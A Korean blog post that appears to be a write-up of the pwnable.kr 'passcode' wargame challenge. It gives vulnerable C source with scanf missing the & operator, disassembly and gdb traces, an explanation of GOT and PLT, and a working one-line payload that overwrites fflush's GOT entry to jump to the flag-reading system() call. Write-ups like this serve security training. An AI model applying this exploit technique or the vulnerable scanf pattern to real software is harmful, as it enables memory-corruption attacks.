1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <stdio.h>
#include <stdlib.h>
 
void login(){
    int passcode1;
    int passcode2;
 
    printf("enter passcode1 : ");
    scanf("%d", passcode1);
    fflush(stdin);
 
    // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
    printf("enter passcode2 : ");
        scanf("%d", passcode2);
 
    printf("checking...\n");
    if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
        exit(0);
        }
}
 
void welcome(){
    char name[100];
    printf("enter you name : ");
    scanf("%100s", name);
    printf("Welcome %s!\n", name);
}
 
int main(){
    printf("Toddler's Secure Login System 1.0 beta.\n");
 
    welcome();
    login();
 
    // something after login...
    printf("Now I can safely trust you that you have credential :)\n");
    return 0;    
}
 
cs



passcode 프로그램은 welcome()함수에서 사용자 이름을 100byte 까지 입력을 받고 출력을 하며
login()함수는 사용자에게 2개의 passcode를 입력받아 입력 값이 특정 값과 일치 할 경우 system()함수가 실행되어 flag값을 읽는다.

login()함수에는 취약점이 존재한다. scanf()함수로 사용자에게 입력을 받을 때 char형 외에는 &연산자가 필요하다. &연산자 없이 변수에 입력이 될 경우 변수 자체가 주소가 되버리고 입력한 값이 들어간다.
passcode1 변수를 control 가능하도록 해서 exploit을 한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
.text:08048658 push    ebp
.text:08048659 mov     ebp, esp
.text:0804865B sub     esp, 120
.text:0804865E mov     eax, large gs:14h
.text:08048664 mov     [ebp+var_C], eax
.text:08048667 xor     eax, eax
.text:08048669 sub     esp, 12
.text:0804866C push    offset aEnterYouName ; "enter you name : "
.text:08048671 call    _printf
.text:08048676 add     esp, 10h
.text:08048679 sub     esp, 8
.text:0804867C lea     eax, [ebp+name] ; name = ebp-0x70
.text:0804867F push    eax
.text:08048680 push    offset a100s    ; "%100s"
.text:08048685 call    ___isoc99_scanf
.text:0804868A add     esp, 10h
.text:0804868D sub     esp, 8
.text:08048690 lea     eax, [ebp+name]
.text:08048693 push    eax
.text:08048694 push    offset aWelcomeS ; "Welcome %s!\n"
.text:08048699 call    _printf
.text:0804869E add     esp, 10h
cs

welcome()함수에서 name을 입력받는 변수는 ebp-0x70부터 시작주소가 된다. 
gdb로 확인한 결과 name변수에는 사용자가 입력한 값이 96byte까지만 입력받는다. 

분석과정에서 이해 한 것은 Stack이 ASLR이 비활성화 되어있고 입력받는 100byte 중 96byte는 name변수에서 사용되고 welcome()함수가 종료되면서 Stack에서 정리되었다.
하지만 남은 login()함수에서 남은 4byte가 초기화 되지 않고 Stack에 할당 되어있었다. passcode1 변수에 &연산자가 없어 ebp-0x10 시작주소를 welcome()에서 입력한 값이 덮어씌우면서 
passcode1 변수가 주소가 된거 같다.

(gdb) b* 0x080485BC
Breakpoint 1 at 0x80485bc
(gdb) r < input.txt
Starting program: /home/asecbug/pwnable_kr/cc < input.txt
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB!
(gdb) x/wx $ebp-0x10
0xffffd368:    0x42424242

변조된 메모리 주소에 입력 값을 저장하려다 Crach가 발생하였다.
(gdb) x/4wi $eip
=> 0xf7589357 <_IO_vfscanf+15031>:    mov    %eax,(%edx)
   0xf7589359 <_IO_vfscanf+15033>:    jmp    0xf7586acf <_IO_vfscanf+4655>
   0xf758935e <_IO_vfscanf+15038>:    xchg   %ax,%ax
   0xf7589360 <_IO_vfscanf+15040>:    sub    $0xc,%esp
(gdb) i r eax edx
eax            0x10e1    4321
edx            0x42424242    1111638594

변조가 가능 한 주소를 이용해서 system()함수를 실행해서 flag 파일을 읽으면 된다. 이때 사용 되는 exploit 기술은 GOT overwrite 기술을 사용한다.

GOT(Global Offset Table)
PLT가 참조하는 테이블로 프러시져들의 실제 주소가 있음, PLT가 어떤 외부 프로시져를 호출할 때 GOT를 참조하여 해당 주소로 분기
PLT함수들은 GOT를 참조하여 해당 주소로 분기하며 GOT는 외부 라이브러리의 함수/변수 주소를 저장함 

PLT(Procedure Linkage Table)
실제 호출 코드를 담고있는 테이블, 해당 내용을 참조하여 "dl_runtile_resolve"함수가 수행되고, 실제 시스템 라이브러리 호출이 이뤄지게됨
외부 라이브러리를 연결 해주는 함수이며, 실제 바이너리에서도 처음에는 사용고자하는 함수/라이브러리 주소 대신 PLT 호출



control이 가능한 4byte를 fflush()함수로 got overwrite하고  system("/bin/cat flag"); 주소를 passcode2로 덮어씌운다.

passcode@ubuntu:~$ (python -c 'print "A"*96+"\x04\xa0\x04\x08"+"134514147"')|./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
Sorry mom.. I got confused about scanf usage :(
enter passcode1 : Now I can safely trust you that you have credential :)


'WarGame > pwnable.kr' 카테고리의 다른 글

input  (0) 2016.12.03
random  (0) 2016.11.27
flag  (0) 2016.11.27
bof  (0) 2016.11.15
collision  (0) 2016.11.15

+ Recent posts